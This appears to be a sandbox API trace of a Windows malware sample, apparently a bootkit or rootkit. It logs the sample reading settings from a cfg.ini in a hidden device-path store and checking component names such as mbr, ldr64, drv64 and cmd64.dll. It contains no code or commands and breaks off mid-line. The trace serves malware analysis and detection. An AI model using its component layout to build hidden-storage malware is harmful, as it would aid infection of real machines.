[0127.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f69feb0, dwHighDateTime=0x1d24fa4)) [0127.865] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.865] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.865] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.865] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.865] KeEnterCriticalRegion () [0127.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.865] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.865] IdePortDispatch () returned 0x103 [0127.866] KeWaitForMutexObject () returned 0x0 [0127.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.866] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.866] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.866] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.866] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.866] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd870 [0127.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.866] KeLeaveCriticalRegion () [0127.866] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.866] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.866] KeEnterCriticalRegion () [0127.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.866] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.866] KeLeaveCriticalRegion () [0127.866] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.866] KeEnterCriticalRegion () [0127.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.866] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.866] IdePortDispatch () returned 0x103 [0127.867] KeWaitForMutexObject () returned 0x0 [0127.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.867] KeLeaveCriticalRegion () [0127.867] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.867] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.867] KeEnterCriticalRegion () [0127.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5b000 [0127.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.867] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.867] IdePortDispatch () returned 0x103 [0127.867] KeWaitForMutexObject () returned 0x0 [0127.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.867] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.867] IdePortDispatch () returned 0x103 [0127.867] KeWaitForMutexObject () returned 0x0 [0127.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.868] KeLeaveCriticalRegion () [0127.868] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.868] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.868] KeEnterCriticalRegion () [0127.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.868] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.868] KeLeaveCriticalRegion () [0127.868] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.868] KeEnterCriticalRegion () [0127.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.869] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.869] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd930, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.869] KeLeaveCriticalRegion () [0127.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.869] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.869] KeEnterCriticalRegion () [0127.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.869] ExFreePoolWithTag (P=0xfffffa8003bfd870, Tag=0x0) [0127.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.869] KeLeaveCriticalRegion () [0127.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.869] ReleaseMutex (hMutex=0xf0) returned 1 [0127.869] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.869] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.869] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.869] KeEnterCriticalRegion () [0127.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.869] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.869] IdePortDispatch () returned 0x103 [0127.869] KeWaitForMutexObject () returned 0x0 [0127.869] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.869] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.870] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.870] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.870] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.870] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc5b0 [0127.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.870] KeLeaveCriticalRegion () [0127.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.870] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.870] KeEnterCriticalRegion () [0127.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.870] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.870] KeLeaveCriticalRegion () [0127.870] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.870] KeEnterCriticalRegion () [0127.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.870] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.870] IdePortDispatch () returned 0x103 [0127.870] KeWaitForMutexObject () returned 0x0 [0127.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.870] KeLeaveCriticalRegion () [0127.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.871] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.871] KeEnterCriticalRegion () [0127.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5c000 [0127.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.871] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.871] IdePortDispatch () returned 0x103 [0127.871] KeWaitForMutexObject () returned 0x0 [0127.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.871] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.871] IdePortDispatch () returned 0x103 [0127.871] KeWaitForMutexObject () returned 0x0 [0127.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.871] KeLeaveCriticalRegion () [0127.871] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.872] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.872] KeEnterCriticalRegion () [0127.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.872] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.872] KeLeaveCriticalRegion () [0127.872] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.872] KeEnterCriticalRegion () [0127.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.872] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.872] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.872] KeLeaveCriticalRegion () [0127.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.872] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.873] KeEnterCriticalRegion () [0127.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.873] ExFreePoolWithTag (P=0xfffffa8003bfc5b0, Tag=0x0) [0127.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.873] KeLeaveCriticalRegion () [0127.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.873] ReleaseMutex (hMutex=0xf0) returned 1 [0127.873] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.873] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.873] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.873] KeEnterCriticalRegion () [0127.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.873] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.873] IdePortDispatch () returned 0x103 [0127.873] KeWaitForMutexObject () returned 0x0 [0127.873] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.873] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.873] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.873] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.873] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.873] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc200 [0127.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.873] KeLeaveCriticalRegion () [0127.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.874] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.874] KeEnterCriticalRegion () [0127.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.874] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.874] KeLeaveCriticalRegion () [0127.874] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.874] KeEnterCriticalRegion () [0127.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.874] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.874] IdePortDispatch () returned 0x103 [0127.874] KeWaitForMutexObject () returned 0x0 [0127.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.874] KeLeaveCriticalRegion () [0127.874] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.874] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.874] KeEnterCriticalRegion () [0127.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.874] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5d000 [0127.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.875] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.875] IdePortDispatch () returned 0x103 [0127.875] KeWaitForMutexObject () returned 0x0 [0127.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.875] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.875] IdePortDispatch () returned 0x103 [0127.875] KeWaitForMutexObject () returned 0x0 [0127.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.875] KeLeaveCriticalRegion () [0127.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.876] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.876] KeEnterCriticalRegion () [0127.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.876] KeLeaveCriticalRegion () [0127.876] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.876] KeEnterCriticalRegion () [0127.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.876] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.876] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.876] KeLeaveCriticalRegion () [0127.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.876] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.876] KeEnterCriticalRegion () [0127.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.876] ExFreePoolWithTag (P=0xfffffa8003bfc200, Tag=0x0) [0127.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.876] KeLeaveCriticalRegion () [0127.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.876] ReleaseMutex (hMutex=0xf0) returned 1 [0127.876] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.877] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.877] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.877] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.877] KeEnterCriticalRegion () [0127.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.877] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.877] IdePortDispatch () returned 0x103 [0127.877] KeWaitForMutexObject () returned 0x0 [0127.877] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.877] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.877] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.877] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.877] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.877] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.877] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.877] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.877] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.877] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.877] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.877] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.877] _strnicmp (_Str1="", _Str="lsash.xp", 